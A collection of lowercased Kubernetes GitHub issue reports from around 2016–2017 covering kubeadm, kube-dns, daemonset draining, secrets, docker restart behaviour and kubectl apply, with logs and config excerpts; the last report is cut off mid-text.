<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r when i drain an knode, daemonset pod on that knode can not be deleted.\r \r   what you expected to happen  :\r when the knode is labeled with  notready  or drained, the daemonset pod running on that knode should be deleted, too.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.6.3\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r  sudo kubeadm init --service-cidr 10.87.116.64/26  fails with error \r  could not parse dns ip \ <nil>\ : <nil> \r \r   what you expected to happen  :\r as 10.87.116.64/26 is a valid subnet cidr, expected it have a valid dnsip for example  10.87.116.73 \r \r   how to reproduce it  as minimally and precisely as possible   :\r execute  kubeadm init --service-cidr 10.87.116.64/26  service cidr could be any cidr which does not end with zero \r \r \r   anything else we need to know?  :\r complete output of the command\r    bash\r ubuntu@k8s-node-0:~$ sudo kubeadm init --service-cidr 10.87.116.64/26\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.7.5\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  certificates  generated ca certificate and key.\r  certificates  generated api server certificate and key.\r  certificates  api server serving cert is signed for dns names  k8s-node-0 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.87.116.65 10.87.65.240 \r  certificates  generated api server kubelet client certificate and key.\r  certificates  generated service account token signing key and public key.\r  certificates  generated front-proxy ca certificate and key.\r  certificates  generated front-proxy client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  apiclient  created api client, waiting for the control plane to become ready\r  apiclient  all control plane components are healthy after 43.502520 seconds\r  token  using token: 605d99.2604b2cc714dc063\r  apiconfig  created rbac rules\r could not parse dns ip \ <nil>\ : <nil>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  : x86_64 server\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux k8s-node-0 4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r \r \r cc @kubernetes/sig-cluster-lifecycle-misc

the generators have a lot of logic inside the  main    funcs, especially client-go. the flag handling is not cleanly separate from the generator instantiation via the  customarg  struct. this makes it hard or impossible to create an instance of them in another binary without duplicating a lot of code and without conflicting flags between the different generators.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r during the update from v1.7.1 to v1.8.0 all docker containers were restarted, because container spec hash changed.\r \r   what you expected to happen  :\r \r no restart of the docker containers, because they did not change at all.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - get yourself a k8s cluster in v1.7.x\r - update  at least the kubelet  to v1.8.0 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl get nodes  :\r    \r $ kubectl get nodes\r name                                             status    roles     age       version\r ip-172-22-250-20.eu-central-1.compute.internal   ready     <none>    56m       v1.8.0\r ip-172-22-250-21.eu-central-1.compute.internal   ready     <none>    55m       v1.7.1\r    \r - cloud provider or hardware configuration  :\r \r aws\r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1409.2.0\r version_id=1409.2.0\r build_id=2017-06-19-2321\r pretty_name=\ container linux by coreos 1409.2.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r \r  linux ip-172-22-250-20.eu-central-1.compute.internal 4.11.6-coreos  1 smp mon jun 19 22:57:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r in func onerror   of errorhandlers in apimachinery\r    \r func  r  rudimentaryerrorbackoff  onerror error  {\r \tr.lasterrortimelock.lock  \r \tdefer r.lasterrortimelock.unlock  \r \td := time.since r.lasterrortime \r \tif d < 0 {\r \t\ttime.sleep r.minperiod - d \r \t}\r \tr.lasterrortime = time.now  \r }\r    \r it is expected to go on sleep for some time if not meet the minperiod. however, if time happens hops to the past in the process.  d := time.since r.lasterrortime   would be a negative number, thus, it may sleep a lot longer than we expected.\r \r   what you expected to happen  :\r \r the period for sleep should be reseted if time hops\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kube-dns didnt come up on launching of cluster using kops. i have tried solutions which are suggested for similar issues.\r \r followings are the errors ::\r \r \r \r  centos@ip-10-8-26-123 etcd-v3.2.11-linux-amd64 $ kubectl get pods --all-namespaces -o wide\r namespace     name                                                  ready     status             restarts   age       ip            node\r kube-system   dns-controller-173999360-ch2pg                        1/1       running            7          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   etcd-server-events-ip-10-8-26-123.ec2.internal        1/1       running            6          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   etcd-server-ip-10-8-26-123.ec2.internal               1/1       running            6          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   kube-apiserver-ip-10-8-26-123.ec2.internal            1/1       running            7          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   kube-controller-manager-ip-10-8-26-123.ec2.internal   1/1       running            6          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   kube-dns-1311260920-31crq                             0/3       crashloopbackoff   131        1d        <none>        ip-10-8-26-115.ec2.internal\r kube-system   kube-dns-1311260920-b3xjw                             0/3       crashloopbackoff   133        1d        <none>        ip-10-8-26-115.ec2.internal\r kube-system   kube-dns-autoscaler-1818915203-gtm4l                  1/1       running            0          1d        <none>        ip-10-8-26-115.ec2.internal\r kube-system   kube-proxy-ip-10-8-26-115.ec2.internal                1/1       running            0          3h        10.8.26.115   ip-10-8-26-115.ec2.internal\r kube-system   kube-proxy-ip-10-8-26-123.ec2.internal                1/1       running            6          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   kube-scheduler-ip-10-8-26-123.ec2.internal            1/1       running            6          1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   weave-net-gt0f2                                       2/2       running            14         1d        10.8.26.123   ip-10-8-26-123.ec2.internal\r kube-system   weave-net-r7gk0                                       2/2       running            1          3h        10.8.26.115   ip-10-8-26-115.ec2.internal\r \r \r \r \r error logs for kube-dns pod  kubedns container ::\r \r \r   centos@ip-10-8-26-123 etcd-v3.2.11-linux-amd64 $ kubectl logs -n kube-system kube-dns-1311260920-31crq   kubedns\r i1208 18:35:21.216591       1 dns.go:48  version: 1.14.4-2-g5584e04\r i1208 18:35:21.217239       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i1208 18:35:21.217279       1 server.go:113  flag: --alsologtostderr=\ false\ \r i1208 18:35:21.217288       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i1208 18:35:21.217293       1 server.go:113  flag: --config-map=\ \ \r i1208 18:35:21.217296       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i1208 18:35:21.217300       1 server.go:113  flag: --config-period=\ 10s\ \r i1208 18:35:21.217305       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i1208 18:35:21.217308       1 server.go:113  flag: --dns-port=\ 10053\ \r i1208 18:35:21.217317       1 server.go:113  flag: --domain=\ cluster.local.\ \r i1208 18:35:21.217323       1 server.go:113  flag: --federations=\ \ \r i1208 18:35:21.217327       1 server.go:113  flag: --healthz-port=\ 8081\ \r i1208 18:35:21.217331       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i1208 18:35:21.217334       1 server.go:113  flag: --kube-master-url=\ \ \r i1208 18:35:21.217340       1 server.go:113  flag: --kubecfg-file=\ \ \r i1208 18:35:21.217343       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i1208 18:35:21.217349       1 server.go:113  flag: --log-dir=\ \ \r i1208 18:35:21.217353       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i1208 18:35:21.217357       1 server.go:113  flag: --logtostderr=\ true\ \r i1208 18:35:21.217360       1 server.go:113  flag: --nameservers=\ \ \r i1208 18:35:21.217365       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i1208 18:35:21.217368       1 server.go:113  flag: --v=\ 2\ \r i1208 18:35:21.217373       1 server.go:113  flag: --version=\ false\ \r i1208 18:35:21.217379       1 server.go:113  flag: --vmodule=\ \ \r i1208 18:35:21.217428       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i1208 18:35:21.217618       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i1208 18:35:21.217628       1 dns.go:147  starting endpointscontroller\r i1208 18:35:21.217632       1 dns.go:150  starting servicecontroller\r i1208 18:35:21.217719       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1208 18:35:21.217726       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r e1208 18:35:21.218390       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://100.64.0.1:443/api/v1/services?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r e1208 18:35:21.218547       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://100.64.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r i1208 18:35:21.717917       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1208 18:35:22.217912       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1208 18:35:22.218751       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://100.64.0.1:443/api/v1/services?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r e1208 18:35:22.218855       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://100.64.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r i1208 18:35:22.717845       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1208 18:35:23.217866       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1208 18:35:23.219173       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://100.64.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r e1208 18:35:23.219173       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://100.64.0.1:443/api/v1/services?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r i1208 18:35:23.717862       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1208 18:35:24.217847       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1208 18:35:24.219773       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://100.64.0.1:443/api/v1/services?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r e1208 18:35:24.219888       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://100.64.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r i1208 18:35:24.717856       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1208 18:35:25.217847       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1208 18:35:25.220169       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://100.64.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 100.64.0.1:443: connect: network is unreachable\r \r \r i have following networking configuration in kops cluster definition::\r \r \r networkcidr: 10.8.0.0/16\r   networking:\r     weave:\r       mtu: 8912\r   nonmasqueradecidr: 100.64.0.0/10\r \r \r i dont see ip  100.64.0.1 in the cluster. but kube-dns is trying to connect to apiserver on this port. \r  \r \r   what you expected to happen  :\r kube-dns should come online without issue. it should not look for \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r  centos@ip-10-8-26-123 ~ $ kubelet --version\r kubernetes v1.7.10\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r  centos@ip-10-8-26-123 ~ $ uname  -a\r linux ip-10-8-26-123.ec2.internal 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kops version : version 1.8.0  git-5099bc5    \r \r - others:\r

1. started a cluster in us-central1-f. 2.  accidentally  switched config to us-central1-b. 3. repeated kube-down.sh/kube-up.sh cycles cannot recover from this; you have to switch back to the original zone, kube-down.sh, then you can get it working again.

currently, the default behavior of revisionhistorylimit of deployments  in other words, if spec.revisionhistorylimit is not specified  is to keep around all replica sets. this strikes me as unexpected and unreasonable behavior - in normal usage of the deployment object, you will quickly end up with dozens of replica sets with no obvious button or mechanism to clean them up. i think that using deployments in the typical recommended way should not result in unbounded creation of replica sets.  i personally vote for 1 as the default - it gives you basic rollback functionality but doesn't confuse the user by keeping around lots of replica sets and feels the most intuitive to me - but i think any number up to 5 is reasonable.

syptom: loading environment variables from keys within a secret does not allow loading of keys with a value that is a bool or an int of any size.  version:  1.2.4 confirmed  explaination:  sample secret: testbool=true testint=8080 teststring=hello      apiversion: v1 kind: secret metadata:   name: test.secret type: opaque data:   testbool: dhj1zq==   testint: oda4ma==   teststring: agvsbg8=      in kubernetes:      apiversion: v1 data:   testbool: dhj1zq==   testint: oda4ma==   teststring: agvsbg8= kind: secret metadata:   annotations:   name: test.secret   namespace: default   resourceversion: \ 4178761\    selflink: /api/v1/namespaces/default/secrets/test.secret   uid: b258f770-42e2-11e6-9fee-0ac53f35edc7 type: opaque      sample deployment:      apiversion: extensions/v1beta1 kind: deployment metadata:   name: test   labels:     app: test spec:   replicas: 3   template:     metadata:       labels:         app: test         tier: dev     spec:       imagepullsecrets:       - name: mypullsecret       containers:       - name: testapp1         image: us.gcr.io/account-name/app:version         ports:         - containerport: 8080         env:           - name: testbool             valuefrom:               secretkeyref:                 name: test.secret                 key: testbool           - name: testint             valuefrom:               secretkeyref:                 name: test.secret                 key: testint           - name: teststring             valuefrom:               secretkeyref:                 name: test.secret                 key: teststring      in kubernetes:      metadata:   generation: 104   labels:     app: test   name: test   namespace: default   resourceversion: \ 4178941\    selflink: /apis/extensions/v1beta1/namespaces/default/deployments/test   uid: f74be004-3ca4-11e6-b887-06500d373dfb spec:   replicas: 3   selector:     matchlabels:       app: test       tier: dev   strategy:     rollingupdate:       maxsurge: 1       maxunavailable: 1     type: rollingupdate   template:     metadata:       creationtimestamp: null       labels:         app: test         tier: dev     spec:       containers:         env:           - name: teststring             valuefrom:               secretkeyref:                 name: test.secret                 key: teststring         image: us.gcr.io/account-name/app:version         imagepullpolicy: ifnotpresent         name: test1         ports:         - containerport: 8080           protocol: tcp         resources: {}         terminationmessagepath: /dev/termination-log       dnspolicy: clusterfirst       imagepullsecrets:       - name: mypullsecret       restartpolicy: always       securitycontext: {}       terminationgraceperiodseconds: 30 status:   availablereplicas: 3   observedgeneration: 104   replicas: 3   updatedreplicas: 3      as you can see, using a kubectl apply -f to upload my deployment, the deployment was created completely correctly except they environment variables that were pure int or bool types. the secret is uploaded correctly as seen above, and the deployment works flawlessly except it does not pass those environment vars to the container. i have logged into the container and verified it does not set them at all.  on top of this, kubectl does not mention any errors with the deployment or the secret- as well as the logs for kubernetes saying nothing at all bout anything. i have no idea where the vars are being dropped, in all honestly.  this is very repeatable, i can change the bool to \ false\  and it does the same, and well as changing the \ int\  to any other number of any size  verified random numbers up to 1000000000000 . understandably, raw strings and bools wouldn't typically be considered secrets, however we have a software key we need to consume that is a pure string, as well as us wishing to keep certain true/false configurations sensitive at times.  i can load these bools and ints on secret volumes, but that is far from ideal.

kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.8\ , gitcommit:\ 3040f87c570a772ce94349b379f41f329494a4f7\ , gittreestate:\ clean\ , builddate:\ 2016-09-18t21:06:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.8\ , gitcommit:\ 3040f87c570a772ce94349b379f41f329494a4f7\ , gittreestate:\ clean\ , builddate:\ 2016-09-18t21:00:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   os    e.g. from /etc/os-release :        name=coreos     id=coreos     version=1122.2.0     version_id=1122.2.0     build_id=2016-09-06-1449     pretty_name=\ coreos 1122.2.0  moreos \      ansi_color=\ 1;32\      home_url=\ https://coreos.com/\      bug_report_url=\ https://github.com/coreos/bugs/issues\  -   kernel    e.g.  uname -a  :      linux k8s-66 4.7.0-coreos  1 smp tue sep 6 14:39:20 utc 2016 x86_64 intel r  xeon r  cpu e5-2620 0 @ 2.00ghz genuineintel gnu/linux -   install tools  :      coreos-cloudinit  -   others  :    what happened  :    after i used coreos-cloudinit to install kubernates mater and nodes, node is not ready for longtime. i excute \ kubectl get nodes\ , it waw \ notready\ . i used \ journalctl -au kube-kubelet\  to see logs on node, it kept reporting  such log:        sep 20 10:22:26 k8s-68 kubelet 771 : e0920 10:22:26.163682     771 eviction_manager.go:162  eviction manager: unexpected err: failed getnode: node 'k8s-68' not found        and service kube-controller-manager on master kept reporting this:        sep 19 16:01:37 k8s-66 kube-controller-manager 1028 : i0919 16:01:37.034802    1028 endpoints_controller.go:327  waiting for pods controller to sync, requeuing service default/kubernetes        after long time, about 5 - 7 hours, node status can return ready. service kube-kubelet of node show these logs:        sep 20 17:31:16 k8s-68 kubelet 771 : i0920 17:31:16.462726     771 kubelet_node_status.go:103  node k8s-68 was previously registered   sep 20 17:31:16 k8s-68 kubelet 771 : i0920 17:31:16.462804     771 kubelet_node_status.go:67  successfully registered node k8s-68        kube-controller-manager on master show these logs:        sep 20 10:06:01 k8s-66 kube-controller-manager 1072 : w0920 10:06:01.639442    1072 nodecontroller.go:762  missing timestamp for node k8s-68. assuming now as a timestamp.   sep 20 10:06:01 k8s-66 kube-controller-manager 1072 : i0920 10:06:01.639922    1072 event.go:217  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ k8s-68\ , uid:\ c48b1c60-7ed6-11e6-8ab5-005056bee0aa\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'registerednode' node k8s-68 event: registered node k8s-68 in nodecontroller   sep 20 10:07:21 k8s-66 kube-controller-manager 1072 : i0920 10:07:21.693912    1072 event.go:217  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ k8s-68\ , uid:\ c48b1c60-7ed6-11e6-8ab5-005056bee0aa\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node k8s-68 status is now: nodenotready        is this normal ？

is it possible or is it not recommended at all?  for example, in scenarios where tls certificates are rotated periodically, it seems to me it would be preferred for the api server to reload them without restarting the process. thoughts?

hi, forums, i'm using this guide https://docs.google.com/document/d/1ijwqpwurdwcuwxupsxp-uiz0eojnfaj9mwwfy20uh3q/edit heading=h.c15wonvangdk  to compile kube-proxy on windows, and  run it on windows server 2016, but it failed to start with \ kube-proxy.exe flag redefined: log_dir\ , i found  this error was course by client-go and k8s conflict, when run \ go install\  in cmd/kube-proxy, i need go get  client-go package, so the error happens, does anybody know this error, thks.

to reproduce this, start several containers and restart docker with  sudo systemctl restart docker  or  sudo service docker restart , depending on the os distro.\r after docker restarts properly, run  docker ps -a   and see containers were terminated with exit code 0.\r \r    console\r $ sudo docker ps -a\r container id        image               command                  created              status                      ports               names\r 5039dd309f12        busybox             \ /bin/sh -c 'sleep 10\    about a minute ago   exited  0  22 seconds ago                       compassionate_mcclintock\r 83322e7eedcb        busybox             \ /bin/sh -c 'sleep 10\    about a minute ago   exited  0  22 seconds ago                       distracted_kirch\r fd96e1c425df        busybox             \ /bin/sh -c 'sleep 10\    about a minute ago   exited  0  22 seconds ago                       elegant_goldstine\r a255470685c0        busybox             \ /bin/sh -c 'sleep 10\    about a minute ago   exited  0  22 seconds ago                       serene_bhaskara\r c726fe02b915        busybox             \ /bin/sh -c 'sleep 10\    about a minute ago   exited  0  22 seconds ago                       hungry_boyd\r fabf1984c604        busybox             \ /bin/sh -c 'sleep 10\    about a minute ago   exited  0  22 seconds ago                       romantic_poitras\r    \r \r i tested this on three docker versions: 1.10.3, 1.11.2, and 1.12.6. only docker 1.10.3 correctly reported the 137 exit code.\r this issue was claimed to be fixed in https://github.com/docker/docker/issues/26143

@k8s-merge-robot\r \r   is this a request for help?  : no\r \r   what keywords did you search in kubernetes issues before filing this one?   kubectl, apply, configuration, deployment. asked around in the slack channel as well.\r i have visited other maybe close issues, but they are not exactly the same: \r     39798  https://github.com/kubernetes/kubernetes/issues/39798  \r     41641  https://github.com/kubernetes/kubernetes/issues/41641 \r \r   is this a bug report or feature request?  : bug\r \r   kubernetes version  :\r  kubectl version \r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-30t22:03:41z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r also tried in:\r  server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-23t22:28:16z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r   minikube version  :\r  minikube version \r  minikube version: v0.19.1 \r \r   environment for version 1.6.4  :\r -   cloud provider or hardware configuration  : minikube\r -   os    e.g. from /etc/os-release : macos sierra 10.12.5\r -   kernel    e.g.  uname -a  : darwin mp.local 16.6.0 darwin kernel version 16.6.0: fri apr 14 16:21:16 pdt 2017; root:xnu-3789.60.24~6/release_x86_64 x86_64\r -   install tools  : minikube\r \r   environment for version 1.5.3  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu juju\r \r   what happened  :\r the deployment does not apply the new configuration by using the command  kubectl apply -f deployment.yaml .\r \r   what you expected to happen  :\r the new replica-set created by the new apply configuration should deploy the pods, and gradually terminates the pods of the older replica-set.\r like this way; the new configuration is correctly applied.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a deployment.yaml\r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: hello-node\r   labels:\r     component: test\r spec:\r   replicas: 3\r \r   selector:                                 pod selector\r     matchlabels:\r       component: test\r \r   strategy:                                 how updating the deployment affect the replicat set and pods\r     type: rollingupdate          recreate/rollingupdate\r     rollingupdate:\r       maxsurge: 1                 default, number of pods created over desired number of replicas\r       maxunavailable: 0           default  this can be in percentage as well \r \r   progressdeadlineseconds: 600\r   minreadyseconds: 0              default, asap\r   revisionhistorylimit: 5          how many revision to store 0/1/2/3/4/5...\r   rollbackto:\r     revision: 0                   0=default, meaning the last revision available \r \r   template:\r     metadata:\r       labels:\r         component: test\r \r     spec:\r       terminationgraceperiodseconds: 15\r       \r       containers:\r       - name: hello-node\r         image: mjroxas/hello-node:v1\r         imagepullpolicy: always\r \r         ports:\r         - name: http\r           containerport: 8080\r    \r \r 2. deploy it using kubectl\r  kubectl create -f deployment.yaml --save-config --record=true \r  deployment \ hello-node\  created \r \r  kubectl get deployment hello-node -o yaml | grep image: \r        - image: mjroxas/hello-node:v1 \r \r  kubectl describe deployment hello-node \r    yaml\r name:           hello-node\r namespace:      default\r creationtimestamp:  fri, 09 jun 2017 11:52:11 +0200\r labels:         component=test\r annotations:        deployment.kubernetes.io/revision=1\r             kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ component\ :\ test\ },\ name\ :\ hello-node\ ,\ namespace\ :\ defa...\r             kubernetes.io/change-cause=kubectl create --filename=deployment.yaml --save-config=true --record=true\r selector:       component=test\r replicas:       3 desired | 3 updated | 3 total | 3 available | 0 unavailable\r strategytype:       rollingupdate\r minreadyseconds:    0\r rollingupdatestrategy:  0 max unavailable, 1 max surge\r pod template:\r   labels:   component=test\r   containers:\r    hello-node:\r     image:      mjroxas/hello-node:v1\r     port:       8080/tcp\r     environment:    <none>\r     mounts:     <none>\r   volumes:      <none>\r conditions:\r   type      status  reason\r   ----      ------  ------\r   available     true    minimumreplicasavailable\r   progressing   true    newreplicasetavailable\r oldreplicasets: <none>\r newreplicaset:  hello-node-1568347238  3/3 replicas created \r events:\r   firstseen lastseen    count   from            subobjectpath   type        reason                  message\r   --------- --------    -----   ----            -------------   --------    ------                  -------\r   11s       11s     1   deployment-controller           normal      scalingreplicaset           scaled up replica set hello-node-1568347238 to 3\r   11s       10s     3   deployment-controller           warning     deploymentrollbackrevisionnotfound  unable to find last revision.\r    \r \r kubectl get rs\r name                    desired   current   ready     age\r hello-node-1568347238   3         3         3         1m\r \r kubectl get rs hello-node-1568347238 -o yaml | grep image:\r       - image: mjroxas/hello-node:v1\r \r 3. make a change on the deployment. to avoid writing the complete deployment.yaml file again i just show the changes  an update of the image :\r  image: mjroxas/hello-node:v2 \r \r 4. execute the apply\r  kubectl apply -f deployment.yaml \r  deployment \ hello-node\  configured \r \r 5. verify the configuration and the new created replica-set\r  kubectl describe deployment hello-node \r    yaml\r name:           hello-node\r namespace:      default\r creationtimestamp:  fri, 09 jun 2017 11:52:11 +0200\r labels:         component=test\r annotations:        deployment.kubernetes.io/revision=3\r             kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ component\ :\ test\ },\ name\ :\ hello-node\ ,\ namespace\ :\ defa...\r             kubernetes.io/change-cause=kubectl create --filename=deployment.yaml --save-config=true --record=true\r selector:       component=test\r replicas:       3 desired | 3 updated | 3 total | 3 available | 0 unavailable\r strategytype:       rollingupdate\r minreadyseconds:    0\r rollingupdatestrategy:  0 max unavailable, 1 max surge\r pod template:\r   labels:   component=test\r   containers:\r    hello-node:\r     image:      mjroxas/hello-node:v1\r     port:       8080/tcp\r     environment:    <none>\r     mounts:     <none>\r   volumes:      <none>\r conditions:\r   type      status  reason\r   ----      ------  ------\r   available     true    minimumreplicasavailable\r   progressing   true    newreplicasetavailable\r oldreplicasets: <none>\r newreplicaset:  hello-node-1568347238  3/3 replicas created \r events:\r   firstseen lastseen    count   from            subobjectpath   type        reason                  message\r   --------- --------    -----   ----            -------------   --------    ------                  -------\r   2m        2m      1   deployment-controller           normal      scalingreplicaset           scaled up replica set hello-node-1568347238 to 3\r   2m        2m      3   deployment-controller           warning     deploymentrollbackrevisionnotfound  unable to find last 